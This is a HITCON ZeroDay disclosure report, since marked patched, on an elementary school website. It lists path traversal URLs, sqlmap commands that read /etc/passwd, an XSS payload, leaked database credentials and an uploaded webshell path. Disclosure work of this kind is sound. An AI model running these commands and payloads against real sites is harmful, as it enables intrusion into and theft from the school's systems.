Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-01600
- Vendor: TACERT台灣學術網路危機處理中心
- Title: 內壢國小 LFI、任意檔案下載、SQLi、SQLi to LFI、RXSS、錯誤訊息SXSS、任意檔案上傳導至RCE
- Introduction: LFI、任意檔案下載、SQLi、SQLi to LFI、SQL帳密洩漏導致可登入phpmyadmin、RXSS、錯誤訊息SXSS、任意檔案上傳導至RCE
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2024/12/28 01:51:40 : 新提交 (由 {{萌新}} 更新此狀態)
- 2024/12/30 21:48:25 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/03 15:20:42 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/03 15:20:43 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/06 13:10:16 : 已修補 (由 組織帳號 更新此狀態)
- 2025/01/14 03:00:12 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-01600
- 通報者:nhd1261 ({{萌新}})
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
相關網址
https://www.nlps.tyc.edu.tw/static/info/old/index.php?dir=/../../../../../../
https://www1.nlps.tyc.edu.tw/nlps2014/modules/tad_book3/page.php?tbdsn=1261
https://www.nlps.tyc.edu.tw/contribute/index.php?do=admin
https://www.nlps.tyc.edu.tw/contribute/index.php?do=admin&op=news&sub=edit&id=4
https://www.nlps.tyc.edu.tw/pma504a/
https://www.nlps.tyc.edu.tw/contribute/files/676ecbd359711/in.php
敘述
LFI、任意檔案下載:
LFI可引入含有php程式碼的txt檔案並執行,故只要有辦法在伺服器任意位置寫入shell即可RCE。
https://www.nlps.tyc.edu.tw/x/index.php?dir=/../../../../
https://www.nlps.tyc.edu.tw/static/info/old/index.php?dir=/../../../../../../
SQLi、SQLi to LFI:
www.nlps.tyc.edu.tw登入功能帳號欄位與部分參數添加單引號會報錯,www1.nlps.tyc.edu.tw部分參數添加單引號報錯,SQLmap測試成功注入,並有讀檔權限。
Payload:
python sqlmap.py "https://www.nlps.tyc.edu.tw/80th/index.php?do=admin&op=news&sub=view&id=2" --cookie "PHPSESSID=pbpub00fcgl34r45o1ea84l2fr" -p id --dbms mysql --random-agent --batch --dbs
python sqlmap.py "https://www1.nlps.tyc.edu.tw/nlps2014/modules/tad_book3/page.php?tbdsn=1261
" -p tbdsn --dbms mysql --random-agent --batch --dbs
python sqlmap.py "https://www.nlps.tyc.edu.tw/80th/index.php?do=admin&op=news&sub=view&id=2" --cookie "PHPSESSID=pbpub00fcgl34r45o1ea84l2fr" -p id --dbms mysql --random-agent --batch --file-read "/etc/passwd"
python sqlmap.py "https://www1.nlps.tyc.edu.tw/nlps2014/modules/tad_book3/page.php?tbdsn=1261
" -p tbdsn --dbms mysql --random-agent --batch --file-read "/etc/passwd"
從任意檔案下載找到SQL連結腳本,獲得SQL帳密,再透過LFI找到phpmyadmin,成功登入,並發現密碼皆未進行加密。
https://www.nlps.tyc.edu.tw/pma504a/
RXSS、SXSS
上述SQLi的錯誤訊息可觸發RXSS,例如在帳號輸入 '<script>alert(1);</script> 或
https://www.nlps.tyc.edu.tw/80th/index.php?do=admin&op=news&sub=view&id=2'<script>alert(1);</script>
從SQL獲得的管理員帳密進入後台,發現管理員編輯最新消息可以植入JavaScript,能造成SXSS,植入的XSS已刪除。
任意檔案上傳導致RCE:
管理員的上傳功能完全未做檢查,可以直接上傳shell,除下列phpinfo其餘shell皆已刪除。
https://www.nlps.tyc.edu.tw/contribute/files/676ecbd359711/in.php